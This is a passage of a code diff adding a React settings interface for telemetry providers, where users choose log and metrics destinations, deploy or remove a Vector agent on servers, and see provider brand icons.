<div className="flex flex-col items-center gap-3 min-h-[15vh] justify-center">
|
||||
<Server className="size-8 self-center text-muted-foreground" />
|
||||
<span className="text-base text-muted-foreground text-center">
|
||||
Add a provider first — there's nowhere to ship to yet
|
||||
</span>
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col gap-4">
|
||||
{visibleTargets?.map((target) => {
|
||||
const key = keyOf(target.serverId);
|
||||
const saved = target.telemetryProviderIds;
|
||||
const ids = idsFor(target.serverId, saved);
|
||||
const isBusy = pendingTarget === key;
|
||||
const agentDeployed = target.status !== "stopped";
|
||||
const hasEnabledSelected = ids.some(
|
||||
(id) =>
|
||||
providers?.find((p) => p.telemetryProviderId === id)
|
||||
?.enabled,
|
||||
);
|
||||
|
||||
return (
|
||||
<div
|
||||
key={key}
|
||||
className="flex flex-col gap-3 rounded-lg border p-4"
|
||||
>
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex flex-col">
|
||||
<span className="text-sm font-medium">
|
||||
{target.name}
|
||||
</span>
|
||||
{target.ipAddress && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{target.ipAddress}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
{statusBadge(target.status as Status)}
|
||||
{agentDeployed && (
|
||||
<DialogAction
|
||||
title="Remove the Vector agent"
|
||||
description="This server stops shipping logs and metrics until you deploy it again. Continue?"
|
||||
type="destructive"
|
||||
onClick={() => handleRemove(target.serverId)}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
isLoading={isBusy}
|
||||
>
|
||||
Remove
|
||||
</Button>
|
||||
</DialogAction>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col gap-2">
|
||||
{hasProviders && (
|
||||
<span className="text-xs font-medium">Providers</span>
|
||||
)}
|
||||
<div className="flex flex-col gap-2">
|
||||
{providers?.map((provider) => {
|
||||
const ProviderIcon =
|
||||
telemetryProviderIcons[
|
||||
provider.providerType as keyof typeof telemetryProviderIcons
|
||||
];
|
||||
return (
|
||||
<div
|
||||
key={provider.telemetryProviderId}
|
||||
className={`flex flex-row items-center gap-2 text-sm ${
|
||||
provider.enabled ? "" : "opacity-60"
|
||||
}`}
|
||||
>
|
||||
<Checkbox
|
||||
id={`${key}-${provider.telemetryProviderId}`}
|
||||
disabled={
|
||||
!provider.enabled &&
|
||||
!ids.includes(provider.telemetryProviderId)
|
||||
}
|
||||
checked={ids.includes(
|
||||
provider.telemetryProviderId,
|
||||
)}
|
||||
onCheckedChange={() =>
|
||||
toggleProvider(
|
||||
target.serverId,
|
||||
saved,
|
||||
provider.telemetryProviderId,
|
||||
)
|
||||
}
|
||||
/>
|
||||
{ProviderIcon && (
|
||||
<ProviderIcon className="size-4 shrink-0" />
|
||||
)}
|
||||
<Label
|
||||
htmlFor={`${key}-${provider.telemetryProviderId}`}
|
||||
className={`font-normal ${
|
||||
provider.enabled
|
||||
? "cursor-pointer"
|
||||
: "cursor-not-allowed"
|
||||
}`}
|
||||
>
|
||||
{providerLabel(provider)}
|
||||
</Label>
|
||||
{!provider.enabled && (
|
||||
<Badge variant="secondary">Disabled</Badge>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{errors[key] && (
|
||||
<AlertBlock type="error" className="items-start">
|
||||
<div className="flex w-full flex-col gap-2">
|
||||
<span className="font-medium">
|
||||
{errors[key].title}
|
||||
</span>
|
||||
<pre className="max-h-48 overflow-auto whitespace-pre-wrap break-all rounded-md bg-background/50 p-2 font-mono text-xs">
|
||||
{errors[key].message}
|
||||
</pre>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="w-fit"
|
||||
onClick={() => {
|
||||
navigator.clipboard.writeText(
|
||||
errors[key]?.message ?? "",
|
||||
);
|
||||
toast.success("Error copied");
|
||||
}}
|
||||
>
|
||||
<Copy className="size-3.5" />
|
||||
Copy
|
||||
</Button>
|
||||
</div>
|
||||
</AlertBlock>
|
||||
)}
|
||||
|
||||
{hasProviders && (
|
||||
<div className="flex items-center justify-end gap-3">
|
||||
{ids.length > 0 && !hasEnabledSelected && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
Every selected provider is disabled — nothing
|
||||
would ship.
|
||||
</span>
|
||||
)}
|
||||
<Button
|
||||
size="sm"
|
||||
isLoading={isBusy}
|
||||
disabled={!hasEnabledSelected}
|
||||
onClick={() => handleDeploy(target.serverId, ids)}
|
||||
>
|
||||
{agentDeployed || saved.length > 0
|
||||
? "Redeploy"
|
||||
: "Deploy"}
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
|
||||
{visibleTargets?.length === 0 && (
|
||||
<div className="flex flex-col items-center gap-3 min-h-[15vh] justify-center">
|
||||
<Server className="size-8 self-center text-muted-foreground" />
|
||||
<span className="text-base text-muted-foreground text-center">
|
||||
You don't have any server yet
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
+196
@@ -0,0 +1,196 @@
|
||||
import { Loader2, ScrollText, Trash2 } from "lucide-react";
|
||||
import { toast } from "sonner";
|
||||
import { telemetryProviderIcons } from "@/components/icons/telemetry-provider-icons";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { api } from "@/utils/api";
|
||||
import { HandleTelemetryProvider } from "./handle-telemetry-provider";
|
||||
|
||||
interface TelemetryProviderRowProps {
|
||||
provider: {
|
||||
telemetryProviderId: string;
|
||||
name: string;
|
||||
enabled: boolean;
|
||||
providerType: string;
|
||||
signals: string[];
|
||||
};
|
||||
index: number;
|
||||
typeLabel: string;
|
||||
canEdit: boolean;
|
||||
canDelete: boolean;
|
||||
onDeleted: () => void;
|
||||
}
|
||||
|
||||
const TelemetryProviderRow = ({
|
||||
provider,
|
||||
index,
|
||||
typeLabel,
|
||||
canEdit,
|
||||
canDelete,
|
||||
onDeleted,
|
||||
}: TelemetryProviderRowProps) => {
|
||||
const { mutateAsync, isPending: isRemoving } =
|
||||
api.telemetryProvider.remove.useMutation();
|
||||
const ProviderIcon =
|
||||
telemetryProviderIcons[
|
||||
provider.providerType as keyof typeof telemetryProviderIcons
|
||||
];
|
||||
|
||||
return (
|
||||
<div className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg">
|
||||
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
|
||||
<div className="flex flex-row items-center gap-3">
|
||||
{ProviderIcon && <ProviderIcon className="size-7 shrink-0" />}
|
||||
<div className="flex gap-2 flex-col">
|
||||
<span className="text-sm font-medium flex items-center gap-2">
|
||||
{index + 1}. {provider.name}
|
||||
<Badge variant={provider.enabled ? "green" : "secondary"}>
|
||||
{provider.enabled ? "Enabled" : "Disabled"}
|
||||
</Badge>
|
||||
{provider.signals.includes("logs") && (
|
||||
<Badge variant="blue">Logs</Badge>
|
||||
)}
|
||||
{provider.signals.includes("metrics") && (
|
||||
<Badge variant="orange">Metrics</Badge>
|
||||
)}
|
||||
</span>
|
||||
<div className="text-xs text-muted-foreground">{typeLabel}</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-row gap-1">
|
||||
{canEdit && (
|
||||
<HandleTelemetryProvider
|
||||
telemetryProviderId={provider.telemetryProviderId}
|
||||
/>
|
||||
)}
|
||||
|
||||
{canDelete && (
|
||||
<DialogAction
|
||||
title="Delete provider"
|
||||
description="Are you sure you want to delete this provider? Every agent shipping to it is re-applied without it, and removed if nothing is left."
|
||||
type="destructive"
|
||||
onClick={async () => {
|
||||
await mutateAsync({
|
||||
telemetryProviderId: provider.telemetryProviderId,
|
||||
})
|
||||
.then((result) => {
|
||||
if (result.warning) {
|
||||
toast.warning("Provider deleted", {
|
||||
description: result.warning,
|
||||
});
|
||||
} else {
|
||||
toast.success(
|
||||
"Provider deleted — the agents that used it were re-applied",
|
||||
);
|
||||
}
|
||||
onDeleted();
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error deleting provider");
|
||||
});
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-red-500/10 "
|
||||
isLoading={isRemoving}
|
||||
>
|
||||
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export const ShowTelemetryProviders = () => {
|
||||
const utils = api.useUtils();
|
||||
const { data, isPending, refetch } = api.telemetryProvider.all.useQuery();
|
||||
const { data: availableTypes } =
|
||||
api.telemetryProvider.availableTypes.useQuery();
|
||||
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||
const providerListLabel = availableTypes?.length
|
||||
? ` (${availableTypes.map((t) => t.label).join(", ")})`
|
||||
: "";
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
||||
<div className="rounded-xl bg-background shadow-md ">
|
||||
<CardHeader className="">
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<ScrollText className="size-6 text-muted-foreground self-center" />
|
||||
Logs & Metrics
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
{`Ship container logs and host/container metrics to an external provider${providerListLabel}. Add one here, choose what it sends, then deploy the Vector agent on the servers below.`}
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
{isPending ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
{data?.length === 0 ? (
|
||||
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
|
||||
<ScrollText className="size-8 self-center text-muted-foreground" />
|
||||
<span className="text-base text-muted-foreground text-center">
|
||||
You don't have any provider configured
|
||||
</span>
|
||||
{permissions?.telemetryProvider.create && (
|
||||
<HandleTelemetryProvider />
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col gap-4 min-h-[25vh]">
|
||||
<div className="flex flex-col gap-4 rounded-lg ">
|
||||
{data?.map((provider, index) => (
|
||||
<TelemetryProviderRow
|
||||
key={provider.telemetryProviderId}
|
||||
provider={provider}
|
||||
index={index}
|
||||
typeLabel={
|
||||
availableTypes?.find(
|
||||
(t) => t.type === provider.providerType,
|
||||
)?.label ?? provider.providerType
|
||||
}
|
||||
canEdit={!!permissions?.telemetryProvider.create}
|
||||
canDelete={!!permissions?.telemetryProvider.delete}
|
||||
onDeleted={() => {
|
||||
refetch();
|
||||
utils.telemetryProvider.serverStatus.invalidate();
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{permissions?.telemetryProvider.create && (
|
||||
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
|
||||
<HandleTelemetryProvider />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -109,8 +109,13 @@ export const DeleteServerModal = ({
|
||||
|
||||
const handleDeleteServer = async () => {
|
||||
try {
|
||||
await deleteServer({ serverId });
|
||||
const result = await deleteServer({ serverId });
|
||||
toast.success(`Server ${serverName} deleted successfully`);
|
||||
if (result?.vectorAgentRemovalWarning) {
|
||||
toast.error(
|
||||
`Couldn't reach this host to remove the Vector logs and metrics agent; if it was deployed it may still be running: ${result.vectorAgentRemovalWarning}`,
|
||||
);
|
||||
}
|
||||
setOpen(false);
|
||||
utils.server.all.invalidate();
|
||||
} catch (error: any) {
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
import { AwsIcon } from "@/components/icons/vault-provider-icons";
|
||||
|
||||
interface Props {
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export const GrafanaLokiIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#F46800"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M23.02 10.59a8.578 8.578 0 0 0-.862-3.034 8.911 8.911 0 0 0-1.789-2.445c.337-1.342-.413-2.505-.413-2.505-1.292-.08-2.113.4-2.416.62-.052-.02-.102-.044-.154-.064-.22-.089-.446-.172-.677-.247-.231-.073-.47-.14-.711-.197a9.867 9.867 0 0 0-.875-.161C14.557.753 12.94 0 12.94 0c-1.804 1.145-2.147 2.744-2.147 2.744l-.018.093c-.098.029-.2.057-.298.088-.138.042-.275.094-.413.143-.138.055-.275.107-.41.166a8.869 8.869 0 0 0-1.557.87l-.063-.029c-2.497-.955-4.716.195-4.716.195-.203 2.658.996 4.33 1.235 4.636a11.608 11.608 0 0 0-.607 2.635C1.636 12.677.953 15.014.953 15.014c1.926 2.214 4.171 2.351 4.171 2.351.003-.002.006-.002.006-.005.285.509.615.994.986 1.446.156.19.32.371.488.548-.704 2.009.099 3.68.099 3.68 2.144.08 3.553-.937 3.849-1.173a9.784 9.784 0 0 0 3.164.501h.08l.055-.003.107-.002.103-.005.003.002c1.01 1.44 2.788 1.646 2.788 1.646 1.264-1.332 1.337-2.653 1.337-2.94v-.058c0-.02-.003-.039-.003-.06.265-.187.52-.387.758-.6a7.875 7.875 0 0 0 1.415-1.7c1.43.083 2.437-.885 2.437-.885-.236-1.49-1.085-2.216-1.264-2.354l-.018-.013-.016-.013a.217.217 0 0 1-.031-.02c.008-.092.016-.18.02-.27.011-.162.016-.323.016-.48v-.253l-.005-.098-.008-.135a1.891 1.891 0 0 0-.01-.13c-.003-.042-.008-.083-.013-.125l-.016-.124-.018-.122a6.215 6.215 0 0 0-2.032-3.73 6.015 6.015 0 0 0-3.222-1.46 6.292 6.292 0 0 0-.85-.048l-.107.002h-.063l-.044.003-.104.008a4.777 4.777 0 0 0-3.335 1.695c-.332.4-.592.84-.768 1.297a4.594 4.594 0 0 0-.312 1.817l.003.091c.005.055.007.11.013.164a3.615 3.615 0 0 0 .698 1.82 3.53 3.53 0 0 0 1.827 1.282c.33.098.66.14.971.137.039 0 .078 0 .114-.002l.063-.003c.02 0 .041-.003.062-.003.034-.002.065-.007.099-.01.007 0 .018-.003.028-.003l.031-.005.06-.008a1.18 1.18 0 0 0 .112-.02c.036-.008.072-.013.109-.024a2.634 2.634 0 0 0 .914-.415c.028-.02.056-.041.085-.065a.248.248 0 0 0 .039-.35.244.244 0 0 0-.309-.06l-.078.042c-.09.044-.184.083-.283.116a2.476 2.476 0 0 1-.475.096c-.028.003-.054.006-.083.006l-.083.002c-.026 0-.054 0-.08-.002l-.102-.006h-.012l-.024.006c-.016-.003-.031-.003-.044-.006-.031-.002-.06-.007-.091-.01a2.59 2.59 0 0 1-.724-.213 2.557 2.557 0 0 1-.667-.438 2.52 2.52 0 0 1-.805-1.475 2.306 2.306 0 0 1-.029-.444l.006-.122v-.023l.002-.031c.003-.021.003-.04.005-.06a3.163 3.163 0 0 1 1.352-2.29 3.12 3.12 0 0 1 .937-.43 2.946 2.946 0 0 1 .776-.101h.06l.07.002.045.003h.026l.07.005a4.041 4.041 0 0 1 1.635.49 3.94 3.94 0 0 1 1.602 1.662 3.77 3.77 0 0 1 .397 1.414l.005.076.003.075c.002.026.002.05.002.075 0 .024.003.052 0 .07v.065l-.002.073-.008.174a6.195 6.195 0 0 1-.08.639 5.1 5.1 0 0 1-.267.927 5.31 5.31 0 0 1-.624 1.13 5.052 5.052 0 0 1-3.237 2.014 4.82 4.82 0 0 1-.649.066l-.039.003h-.287a6.607 6.607 0 0 1-1.716-.265 6.776 6.776 0 0 1-3.4-2.274 6.75 6.75 0 0 1-.746-1.15 6.616 6.616 0 0 1-.714-2.596l-.005-.083-.002-.02v-.056l-.003-.073v-.096l-.003-.104v-.07l.003-.163c.008-.22.026-.45.054-.678a8.707 8.707 0 0 1 .28-1.355c.128-.444.286-.872.473-1.277a7.04 7.04 0 0 1 1.456-2.1 5.925 5.925 0 0 1 .953-.763c.169-.111.343-.213.524-.306.089-.05.182-.091.273-.135.047-.02.093-.042.138-.062a7.177 7.177 0 0 1 .714-.267l.145-.045c.049-.015.098-.026.148-.041.098-.029.197-.052.296-.076.049-.013.1-.02.15-.033l.15-.032.151-.028.076-.013.075-.01.153-.024c.057-.01.114-.013.171-.023l.169-.021c.036-.003.073-.008.106-.01l.073-.008.036-.003.042-.002c.057-.003.114-.008.171-.01l.086-.006h.023l.037-.003.145-.007a7.999 7.999 0 0 1 1.708.125 7.917 7.917 0 0 1 2.048.68 8.253 8.253 0 0 1 1.672 1.09l.09.077.089.078c.06.052.114.107.171.159.057.052.112.106.166.16.052.055.107.107.159.164a8.671 8.671 0 0 1 1.41 1.978c.012.026.028.052.04.078l.04.078.075.156c.023.051.05.1.07.153l.065.15a8.848 8.848 0 0 1 .45 1.34.19.19 0 0 0 .201.142.186.186 0 0 0 .172-.184c.01-.246.002-.532-.024-.856z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const DatadogIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#632CA6"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M19.57 17.04l-1.997-1.316-1.665 2.782-1.937-.567-1.706 2.604.087.82 9.274-1.71-.538-5.794zm-8.649-2.498l1.488-.204c.241.108.409.15.697.223.45.117.97.23 1.741-.16.18-.088.553-.43.704-.625l6.096-1.106.622 7.527-10.444 1.882zm11.325-2.712l-.602.115L20.488 0 .789 2.285l2.427 19.693 2.306-.334c-.184-.263-.471-.581-.96-.989-.68-.564-.44-1.522-.039-2.127.53-1.022 3.26-2.322 3.106-3.956-.056-.594-.15-1.368-.702-1.898-.02.22.017.432.017.432s-.227-.289-.34-.683c-.112-.15-.2-.199-.319-.4-.085.233-.073.503-.073.503s-.186-.437-.216-.807c-.11.166-.137.48-.137.48s-.241-.69-.186-1.062c-.11-.323-.436-.965-.343-2.424.6.421 1.924.321 2.44-.439.171-.251.288-.939-.086-2.293-.24-.868-.835-2.16-1.066-2.651l-.028.02c.122.395.374 1.223.47 1.625.293 1.218.372 1.642.234 2.204-.116.488-.397.808-1.107 1.165-.71.358-1.653-.514-1.713-.562-.69-.55-1.224-1.447-1.284-1.883-.062-.477.275-.763.445-1.153-.243.07-.514.192-.514.192s.323-.334.722-.624c.165-.109.262-.178.436-.323a9.762 9.762 0 0 0-.456.003s.42-.227.855-.392c-.318-.014-.623-.003-.623-.003s.937-.419 1.678-.727c.509-.208 1.006-.147 1.286.257.367.53.752.817 1.569.996.501-.223.653-.337 1.284-.509.554-.61.99-.688.99-.688s-.216.198-.274.51c.314-.249.66-.455.66-.455s-.134.164-.259.426l.03.043c.366-.22.797-.394.797-.394s-.123.156-.268.358c.277-.002.838.012 1.056.037 1.285.028 1.552-1.374 2.045-1.55.618-.22.894-.353 1.947.68.903.888 1.609 2.477 1.259 2.833-.294.295-.874-.115-1.516-.916a3.466 3.466 0 0 1-.716-1.562 1.533 1.533 0 0 0-.497-.85s.23.51.23.96c0 .246.03 1.165.424 1.68-.039.076-.057.374-.1.43-.458-.554-1.443-.95-1.604-1.067.544.445 1.793 1.468 2.273 2.449.453.927.186 1.777.416 1.997.065.063.976 1.197 1.15 1.767.306.994.019 2.038-.381 2.685l-1.117.174c-.163-.045-.273-.068-.42-.153.08-.143.241-.5.243-.572l-.063-.111c-.348.492-.93.97-1.414 1.245-.633.359-1.363.304-1.838.156-1.348-.415-2.623-1.327-2.93-1.566 0 0-.01.191.048.234.34.383 1.119 1.077 1.872 1.56l-1.605.177.759 5.908c-.337.048-.39.071-.757.124-.325-1.147-.946-1.895-1.624-2.332-.599-.384-1.424-.47-2.214-.314l-.05.059a2.851 2.851 0 0 1 1.863.444c.654.413 1.181 1.481 1.375 2.124.248.822.42 1.7-.248 2.632-.476.662-1.864 1.028-2.986.237.3.481.705.876 1.25.95.809.11 1.577-.03 2.106-.574.452-.464.69-1.434.628-2.456l.714-.104.258 1.834 11.827-1.424zM15.05 6.848c-.034.075-.085.125-.007.37l.004.014.013.032.032.073c.14.287.295.558.552.696.067-.011.136-.019.207-.023.242-.01.395.028.492.08.009-.048.01-.119.005-.222-.018-.364.072-.982-.626-1.308-.264-.122-.634-.084-.757.068a.302.302 0 0 1 .058.013c.186.066.06.13.027.207m1.958 3.392c-.092-.05-.52-.03-.821.005-.574.068-1.193.267-1.328.372-.247.191-.135.523.047.66.511.382.96.638 1.432.575.29-.038.546-.497.728-.914.124-.288.124-.598-.058-.698m-5.077-2.942c.162-.154-.805-.355-1.556.156-.554.378-.571 1.187-.041 1.646.053.046.096.078.137.104a4.77 4.77 0 0 1 1.396-.412c.113-.125.243-.345.21-.745-.044-.542-.455-.456-.146-.749" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const BetterStackIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="currentColor"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="m.7792 10.7479-.7654 6.6384a2.0957 2.0957 0 0 0 .696 1.8122l1.8965 1.672c.6494.5725 1.658.0145 1.5185-.84L2.6039 10.705c-.1723-1.056-1.7022-1.02-1.8247.0429Zm12.3733 8.714L8.63 6.431c-.5023-1.4472-2.6082-1.3845-3.0203.0898l-1.376 4.9234c-.156.559-.216.8822.0005 1.4212h.5225l1.8993 6.0694c.294.7324.9017 1.3009 1.6611 1.5538l2.8315.9435c1.2417.4137 2.4268-.7513 2.004-1.97zm10.6297-1.0332L15.7907 3.4433c-.6971-1.3072-2.5779-1.2727-3.227.0589l-1.9652 3.9555c-.2375.487-.1274.6608.07.9435.1585.2268.526.2447.6758.012.147-.2287.488-.2076.6058.0375l5.1379 10.687a2.735 2.735 0 0 0 2.1416 1.6016l2.7183.3476c1.4628.1924 2.5299-1.3539 1.8343-2.6582z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const ElasticsearchIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#00BFB3"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M13.394 0C8.683 0 4.609 2.716 2.644 6.667h15.641a4.77 4.77 0 0 0 3.073-1.11c.446-.375.864-.785 1.247-1.243l.001-.002A11.974 11.974 0 0 0 13.394 0zM1.804 8.889a12.009 12.009 0 0 0 0 6.222h14.7a3.111 3.111 0 1 0 0-6.222zm.84 8.444C4.61 21.283 8.684 24 13.395 24c3.701 0 7.011-1.677 9.212-4.312l-.001-.002a9.958 9.958 0 0 0-1.247-1.243 4.77 4.77 0 0 0-3.073-1.11z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const SplunkIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="currentColor"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M23.348 11.911l-2.241-1.091v-.65L24 11.621v.593l-2.893 1.438v-.636zm-5.397 1.841h-.961v-5.31h.961v3.116h.102l1.28-1.481.723.31-1.23 1.316 1.453 1.809-.888.311-1.44-1.996zm-2.577-.002v-2.068a2.685 2.685 0 0 0-.026-.42.791.791 0 0 0-.09-.26c-.113-.202-.308-.304-.59-.304a.888.888 0 0 0-.461.113.673.673 0 0 0-.286.33 1.012 1.012 0 0 0-.07.263c-.012.13-.019.262-.017.395v1.95h-.961v-3.614h.961l.002.485c.185-.2.373-.348.566-.437.192-.089.418-.134.673-.134.286 0 .527.058.721.177a1.016 1.016 0 0 1 .475.665 1.972 1.972 0 0 1 .054.448c.002.1.004.22.004.358v2.053zm-4.115.002l-.002-.485a1.783 1.783 0 0 1-.565.437 1.597 1.597 0 0 1-.674.135c-.285 0-.524-.057-.72-.17a.972.972 0 0 1-.425-.504.75.75 0 0 1-.054-.167 1.918 1.918 0 0 1-.033-.199 2.033 2.033 0 0 1-.017-.258 15.516 15.516 0 0 1-.005-.355V10.13h.956v2.07c-.003.141.006.282.026.42.015.092.045.18.09.26.113.204.308.306.59.306.36 0 .606-.15.74-.449.035-.082.06-.168.074-.257.017-.134.024-.269.022-.403v-1.95h.955v3.624zM7.184 8.44h.955v5.31h-.955zM5.759 11.9c0-.396-.08-.708-.24-.937a.759.759 0 0 0-.657-.345.804.804 0 0 0-.693.366c-.171.245-.256.574-.253.99 0 .405.084.723.25.957a.796.796 0 0 0 .69.347.685.685 0 0 0 .433-.135.985.985 0 0 0 .277-.34c.071-.14.121-.292.147-.448.03-.151.043-.3.046-.455m1.01-.036c.003.266-.04.532-.129.786-.082.23-.204.441-.364.626-.31.361-.764.567-1.24.563a1.67 1.67 0 0 1-.313-.028 1.041 1.041 0 0 1-.275-.098 1.33 1.33 0 0 1-.257-.178 2.379 2.379 0 0 1-.265-.268v2.293h-.929v-5.425h.93l.004.529c.169-.212.353-.368.55-.468.197-.1.426-.15.688-.147a1.509 1.509 0 0 1 1.156.507c.148.166.259.361.33.571.08.236.12.485.115.737m-4.21.89a.946.946 0 0 1-.102.441 1.007 1.007 0 0 1-.282.345c-.13.1-.275.173-.43.22a1.8 1.8 0 0 1-.546.08 1.985 1.985 0 0 1-.637-.097 1.964 1.964 0 0 1-.563-.32l.312-.505c.15.126.284.217.405.275.115.057.24.087.368.087a.557.557 0 0 0 .373-.12.396.396 0 0 0 .14-.322.475.475 0 0 0-.12-.318 1.306 1.306 0 0 0-.187-.173 9.231 9.231 0 0 0-.308-.232 6.787 6.787 0 0 1-.281-.21 2.11 2.11 0 0 1-.252-.232 1.039 1.039 0 0 1-.18-.275.826.826 0 0 1-.069-.347.893.893 0 0 1 .094-.409.935.935 0 0 1 .255-.314 1.22 1.22 0 0 1 .39-.203c.16-.05.327-.074.494-.072.184 0 .368.026.545.076.174.05.338.123.488.219l-.282.454a1.05 1.05 0 0 0-.608-.201.504.504 0 0 0-.323.102.307.307 0 0 0-.126.253c0 .098.041.193.113.26.074.078.203.186.385.325.185.136.336.253.457.355.104.085.202.182.286.286.065.08.115.173.145.273a.808.808 0 0 1 .046.299Z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const PrometheusIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#E6522C"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M12 0C5.373 0 0 5.372 0 12c0 6.627 5.373 12 12 12s12-5.373 12-12c0-6.628-5.373-12-12-12zm0 22.46c-1.885 0-3.414-1.26-3.414-2.814h6.828c0 1.553-1.528 2.813-3.414 2.813zm5.64-3.745H6.36v-2.046h11.28v2.046zm-.04-3.098H6.391c-.037-.043-.075-.086-.111-.13-1.155-1.401-1.427-2.133-1.69-2.879-.005-.025 1.4.287 2.395.511 0 0 .513.119 1.262.255-.72-.843-1.147-1.915-1.147-3.01 0-2.406 1.845-4.508 1.18-6.207.648.053 1.34 1.367 1.387 3.422.689-.951.977-2.69.977-3.755 0-1.103.727-2.385 1.454-2.429-.648 1.069.168 1.984.894 4.256.272.854.237 2.29.447 3.201.07-1.892.395-4.652 1.595-5.605-.529 1.2.079 2.702.494 3.424.671 1.164 1.078 2.047 1.078 3.716a4.642 4.642 0 01-1.11 2.996c.792-.149 1.34-.283 1.34-.283l2.573-.502s-.374 1.538-1.81 3.019z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const NewRelicIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#1CE783"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
<path d="M8.0015 14.3091v7.384L12.0008 24V12.0008L1.6078 5.9996v4.6167ZM12.0008 0 2.8232 5.2976 6.8209 7.606l5.1799-2.9893 6.3936 3.6913v7.384l-5.1783 2.9908v4.6167l9.176-5.2991V5.9996Z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const InfluxDbIcon = ({ className }: Props) => (
|
||||
<svg
|
||||
viewBox="0 0 24 24"
|
||||
fill="#22ADF6"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className={className}
|
||||
>
|
||||
